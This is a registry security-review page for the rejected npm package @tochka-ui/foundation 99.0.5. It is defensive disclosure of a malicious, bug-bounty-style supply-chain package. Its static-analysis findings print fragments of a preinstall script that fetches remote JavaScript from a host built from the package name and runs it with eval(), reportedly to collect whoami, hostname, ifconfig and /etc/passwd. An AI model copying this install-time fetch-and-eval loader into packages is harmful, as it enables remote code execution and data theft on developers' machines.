All @tochka-ui/foundation versions

@tochka-ui/[email protected] rejected Risk: 100 ISC

@tochka-ui/foundation @99.0.5

rejected
This version was rejected. It did not pass GreenFlagged's security review and is not served by the registry. The findings and risk dispositions below explain why.
npm Tarball
100
Risk Score
ISC
License
Yes
Install Scripts
0
Dependencies
0
Dev Dependencies
.8 KB
Package Size
Published

gigaid utilities

Maintainers

m0ntana

Keywords

bug bounty

Risk Dispositions (4 applicable to this version, 0 other)

Accepted rules are downgraded to INFO on future analyses; rejected rules escalate to CRITICAL.

Rule Source Disposition Author Reason
install-script:preinstall install-scripts reject AI AI (install-scripts): Preinstall script is the delivery mechanism for credential harvesting and remote eval-based code execution. Malicious by design; generalizes to all versions of this package.
semgrep:etc-passwd-access semgrep reject AI AI (semgrep): Explicit /etc/passwd access in preinstall code for credential harvesting. Malicious intent confirmed by code comments and context.
semgrep:eval-usage semgrep reject AI AI (semgrep): eval() used to execute remotely fetched code in preinstall — classic supply-chain RCE pattern. Malicious by design.
bogus-package bogus-package reject AI AI (bogus-package): Package has no legitimate purpose; all bogus-package signals confirmed. Throwaway malicious package.

SAST Findings (8)

CRITICAL Package has 'preinstall' script install-scripts

[Always reject] Script: node preinstall.js

CRITICAL Low-value / spam package indicators (5 signals, score 7) bogus-package

[Always reject] Matched 5 signal(s), weighted score 7: • [S_KNOWN_SPAM_PUBLISHER] Maintainer(s) previously flagged as spam: m0ntana. • [S_NO_REPO_NO_HOME] No repository, homepage, or bugs URL — genuine packages almost always link somewhere. • [S_NO_DEPS] No runtime, dev, peer, or optional dependencies declared. • [S_TINY_PAYLOAD] Tiny payload: 3 code file(s), 2037 bytes total. • [S_EMPTY_MAIN] Entry point (index.js) is 21 bytes — effectively empty.

CRITICAL MAL-2026-3069: Malicious code in @tochka-ui/foundation (npm) osv

--- _-= Per source details. Do not edit below this line.=-_ ## Source: ossf-package-analysis (54d01e5fe34ccdb9e9b361c9b731d7fce4979d38b7d3ccb421cfd8ab11ab38c8) The OpenSSF Package Analysis project identified '@tochka-ui/foundation' @ 99.0.3 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior.

CRITICAL etc-passwd-access: poc.preinstall.js:13 semgrep

[Always reject] Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

CRITICAL eval-usage: poc.preinstall.js:17 semgrep

[Always reject] eval() can execute arbitrary code — common in supply-chain attacks but also used by legitimate parsers and template engines. Verify the input source. 15 | let body = ""; 16 | res.on("data", chunk => { body += chunk; }); > 17 | res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line 18 | }).on("error", () => {}).on("timeout", function() { this.destroy(); });

CRITICAL etc-passwd-access: preinstall.js:13 semgrep

[Always reject] Accessing /etc/passwd or /etc/shadow — credential harvesting on Linux 11 | const pkg = (raw.startsWith("@") ? raw.split("/")[1] : raw).replace(/[^a-z0-9-]/gi, "-"); 12 | > 13 | // Fetches poc.js (safe PoC: whoami/hostname/ifconfig + /etc/passwd only) 14 | http.get(`http://${pkg}.${scope}.${BASE}/poc.js`, { timeout: 8000 }, (res) => { 15 | let body = "";

CRITICAL eval-usage: preinstall.js:17 semgrep

[Always reject] eval() can execute arbitrary code — common in supply-chain attacks but also used by legitimate parsers and template engines. Verify the input source. 15 | let body = ""; 16 | res.on("data", chunk => { body += chunk; }); > 17 | res.on("end", () => { try { eval(body); } catch (_) {} }); // jshint ignore:line 18 | }).on("error", () => {}).on("timeout", function() { this.destroy(); });

LOW No provenance attestation provenance

Package was published without Sigstore provenance. Only ~12% of npm packages have provenance, so this is common but not ideal.

Review Summary

Risk score: 100 (capped from 283). Findings: 7 critical (+280), 1 low (+3).

Published to npm: